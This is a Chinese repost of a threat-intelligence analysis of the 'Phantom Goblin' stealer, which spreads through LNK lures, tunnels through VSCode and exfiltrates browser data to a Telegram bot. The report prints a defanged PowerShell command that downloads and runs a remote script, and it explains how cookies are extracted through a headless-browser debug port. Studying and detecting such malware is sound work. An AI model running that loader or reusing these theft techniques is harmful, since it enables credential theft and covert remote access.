Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

admin 2025年3月18日23:36:07评论0 views字数 4718阅读15分43秒阅读模式
Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

关键要点

  • 威胁行为者 (TA) 使用社会工程学诱骗用户执行伪装成 PDF 文档的恶意 LNK 文件,从而导致恶意软件感染。

  • 然后,恶意软件利用 PowerShell 从 GitHub 存储库下载并执行恶意负载,同时通过注册表修改确保持久性。

  • 该恶意软件通过启用远程调试来提取浏览器 cookie,绕过 Chrome 的应用程序绑定加密 (ABE) 来秘密泄露数据。

  • 恶意二进制文件建立了 Visual Studio Code (VSCode) 隧道,允许 TA 在逃避检测的同时维持未经授权的远程访问。

  • 另一个有效载荷收集浏览历史记录、登录凭据、会话详细信息和其他敏感的浏览器相关信息,然后将其泄露到 Telegram 频道。

  • 被盗数据(包括 cookie 和浏览器凭证)被存档并传输至 TA 的 Telegram 机器人,确保数据的隐秘传输和持久性。

执行摘要

一种新发现的恶意软件正在通过 RAR 附件进行传播,它使用社会工程技术欺骗用户执行伪装成合法文档的恶意 LNK 文件。一旦执行,此 LNK 文件就会触发 PowerShell 命令,该命令会从 GitHub 存储库中检索其他有效负载,从而使恶意软件能够在隐秘操作的同时执行各种恶意活动。

该恶意软件主要针对 Web 浏览器和开发人员工具进行数据窃取和未经授权的系统访问。它会强制终止浏览器进程以提取敏感信息(例如 Cookie、登录凭据和浏览历史记录)。此外,它还利用 Visual Studio Code 隧道建立未经授权的远程访问,使 TA 能够控制受感染的系统而不会触发传统的安全警报。通过伪装成合法应用程序,该恶意软件可以有效绕过检测,同时通过 Telegram 机器人窃取被盗数据。

为了逃避安全机制,该恶意软件利用 PowerShell 和 GitHub 等受信任的工具,将其活动融入正常的系统操作中。被盗数据被存档为 JSON 和 ZIP 文件,然后传输到 TA 控制的 Telegram 帐户。这种隐秘的数据泄露技术使传统安全解决方案难以检测和阻止攻击。为了追踪目的,我们将此操作命名为“ Phantom Goblin ”。

下图显示了整体感染链。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 1 – 感染链

技术细节

Cyble 研究与情报实验室(CRIL) 已发现恶意软件利用 RAR 附件进行传播。虽然确切的初始感染媒介尚不确定,但人们怀疑这些 RAR 附件是通过垃圾邮件发送的,目的是针对毫无戒心的用户。

Phantom Goblin 背后的 TA 使用社会工程技术诱骗用户执行伪装成合法文档的恶意快捷方式 (LNK) 文件。具体来说,名为“Proofs.rar”的 RAR 存档文件包含一个名为“document.lnk”的 LNK 文件,该文件被设计成类似于 PDF 文档。这种欺骗性的命名策略旨在诱使毫无戒心的用户点击快捷方式文件,相信它是合法文档,如下所示。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 2 – 恶意 LNK 文件

执行后,恶意 LNK 文件会启动 PowerShell 命令,从 GitHub 存储库检索并执行远程脚本。该命令旨在隐秘运行,利用 PowerShell 悄悄执行脚本,从而可能促进进一步的恶意活动。

C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -wh -c iex(iwr'hxxps://raw.githubusercontent[.]com/eagle-1337/x/main/x')

PowerShell 脚本通过在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表项来确保持久性,从而允许它在每次系统启动时从GitHub存储库执行脚本。然后,它定义一组文件名类似于合法应用程序的有效负载,例如 updater.exe、vscode.exe 和 browser.exe,并分配一个基本 URL,从该 URL 下载这些文件。这些文件是使用 UPX 打包的 Go 编译二进制文件。

该脚本会检查每个有效载荷是否已存在于系统的临时目录中。如果不存在,它会使用 Invoke-WebRequest 从 GitHub 获取相应的文件。下载后,有效载荷会在后台谨慎执行,不会出现可见的窗口,从而确保攻击保持隐秘,同时保持对受感染系统的控制。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 3 – 恶意 PowerShell 脚本

更新程序

Updater.exe 文件首先检查Chrome、Brave 和 Edge 浏览器是否有正在运行的实例,然后尝试窃取这些浏览器的 Cookie。它通过执行 tasklist 命令来识别活动进程来实现此目的。如果发现任何浏览器进程,它会使用taskkill.exe强制终止它们。此终止可确保浏览器的文件(包括 Cookie 存储)未被使用或锁定,从而使恶意软件可以不受干扰地访问和提取 Cookie 数据。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 4 – Tasklist 命令

终止浏览器后,恶意软件会使用默认用户配置文件目录启动目标浏览器的新实例。它以无头模式运行浏览器,这意味着没有可见的用户界面,并在端口 9222 上启用远程调试。这种技术使其能够绕过应用程序绑定加密(ABE) 并在用户不知情的情况下提取 cookie 数据。  

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 5 – 启动启用远程调试的浏览器进程

一旦启用远程调试并启动新的浏览器进程,它就会开始从每个浏览器收集 cookie,并将其保存在“ %temp%cookies<browsername>_Default_cookie.json ”中。收集数据后,它会将整个文件夹存档到 <username>-cookies.zip 中。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 6 – 控制台日志

然后,使用 Telegram Bot API 的 sendDocument 方法将存档文件传输到 TA 控制的 Telegram 帐户。这样,TA 无需直接交互即可远程接收被盗的 cookie,从而确保敏感浏览数据的隐秘泄露。

执行程序

“ vscode.exe ” 在受害者的系统上建立 Visual Studio Code (VSCode) 隧道,并将其连接详细信息泄露给 TA Telegram 机器人。这可以实现未经授权的远程访问,同时避开传统的安全检测。

执行后,“ vscode.exe ”首先使用tasklist命令查询活动进程,检查是否有任何正在运行的VSCode实例。如果检测到“ code.exe ”,它会使用taskkill /F /IM code.exe强制终止该进程,确保合法的VSCode应用程序已关闭。此步骤可能可以防止现有实例的干扰,并允许恶意软件在用户不知情的情况下部署自己的VSCode版本。

随后,恶意软件执行 PowerShell 命令,从其官方更新 URL下载Visual Studio Code的 ZIP 文件,并将其保存为“ vscode.zip ”并保存在名为“ vscode_temp ”的临时目录中。这种方法通过使用VSCode的正版副本来帮助保持合法性,同时允许 TA 操纵其执行以达到恶意目的。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 7 – PowerShell Code 下载 VSCode

下载完成后,恶意软件会执行另一个 PowerShell 命令,使用“ Expand-Archive ”命令提取“ vscode.zip ”存档,并将其内容放入指定的临时目录中。这为提取的文件做好了进一步执行的准备。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 8 – 提取 ZIP 档案

该恶意软件现在启动另一个 PowerShell 脚本来与提取的VSCode二进制文件进行交互。该脚本导航到提取的VSCode目录并使用命令“ ./code.exe tunnel user logout”注销所有活动的隧道会话。此步骤确保没有预先存在的VSCode隧道保持活动状态,可能是为了防止冲突或避免被合法用户检测到。

经过 10 秒的延迟后,该脚本使用命令“ tunnel –random-name –accept-server-license-terms”启动“ code.exe” ,并将其输出重定向到名为“ output.txt”的文件。执行在隐藏窗口中进行,以避免引起怀疑。“ output.txt ”文件捕获新创建的VSCode隧道连接的详细信息,然后 TA 会利用这些连接。下图显示了 output.txt 的内容。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 9 – output.txt 的内容

再延迟 10 秒后,脚本将读取 output.txt 的内容(其中包含受害者的 VSCode 隧道连接详细信息),并使用 API 请求将此信息泄露给 TAs Telegram 机器人。机器人令牌和聊天 ID 被硬编码到脚本中,允许 TA 实时接收受损的隧道凭据。通过利用 VSCode 隧道,TA 可以建立对受害者系统的远程访问,同时避免传统的安全检测方法。下图显示了负责创建 VSCode 隧道的 PowerShell 代码。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 10 – 恶意 PowerShell 代码将 VSCode 隧道详细信息发送到 Telegram BOT

浏览器

“ Browser.exe ” 收集大量与浏览器相关的数据,包括浏览历史记录、访问过的网站、登录凭据、跟踪数据、会话详细信息、cookie、下载的文件、表单输入、个性化设置和已安装的扩展程序。它针对多种广泛使用的浏览器,如下表所列。

# 浏览器名称
1 谷歌浏览器
2 微软Edge
3 Brave 浏览器
4 Google Chrome 测试版
5 Chronium 浏览器
6 Opera浏览器
7 Opera GX 浏览器
8 Vivaldi 浏览器
9 火狐浏览器
10 Yandex 浏览器
11 Coc Coc 浏览器
12 搜狗浏览器
13 360安全浏览器
14 Arc 浏览器

在收集浏览器信息之前,它会使用taskkill命令强制终止与目标浏览器相关的进程,以防止文件访问冲突并确保不受限制的数据提取。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 11 – taskkill 命令

该恶意软件现在从目标浏览器中提取各种类型的敏感信息。提取的数据来自登录数据、Cookie、历史记录、Web 数据、首选项、IndexedDB、会话存储、本地存储、Brave 钱包存储和关联数据库等文件。

随后,恶意软件将其组织成%temp%results目录中的 .json 文件。每个文件都按照<browsername>_<profilename>_<data_type> .json的模式命名,如下图所示。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 12 – 被盗数据

最后,被盗数据被存档到名为%username%.zip的单个 ZIP 文件中,然后使用 sendDocument API 传输到 Telegram 频道。泄露过程利用 Telegram Bot ID 8105027522 以及身份验证令牌。TA 还在 %temp% 目录中生成一个 logs.txt 文件,以记录窃取者执行的所有活动。每个日志条目都以标记 [goblin] 为前缀,如下图所示。

Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

图 13 – 被盗数据渗漏

结论

此次恶意软件攻击凸显了利用社会工程和受信任工具进行隐秘执行的网络威胁日益复杂化。通过伪装在 RAR 附件中,它会诱骗用户执行恶意 LNK 文件,从而发起基于 PowerShell 的攻击。该恶意软件旨在窃取浏览器数据、通过 VSCode 隧道建立未经授权的远程访问,并在避免检测的情况下泄露敏感信息。它会终止活动的浏览器进程以访问存储的数据、使用远程调试进行提取,并在通过加密通道传输之前存档被盗信息。

用于检测此操作的Sigma 规则 [ 1 ],[ 2 ] 可从链接的 GitHub 存储库下载。      

  1. https://github.com/CRIL-Threat-Intelligence/Sigma_rules/blob/main/Suspicious%20PowerShell%20Execution%20Abusing%20VSCode%20Tunnel.txt

  2. https://github.com/CRIL-Threat-Intelligence/Sigma_rules/blob/main/Data%20Exfiltration%20Through%20Chromium%20Headless%20Debugging.txt

原文始发于微信公众号(Ots安全):Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月18日23:36:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Phantom-Goblin:隐蔽凭证窃取和 VSCode 隧道利用https://cn-sec.com/archives/3811810.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息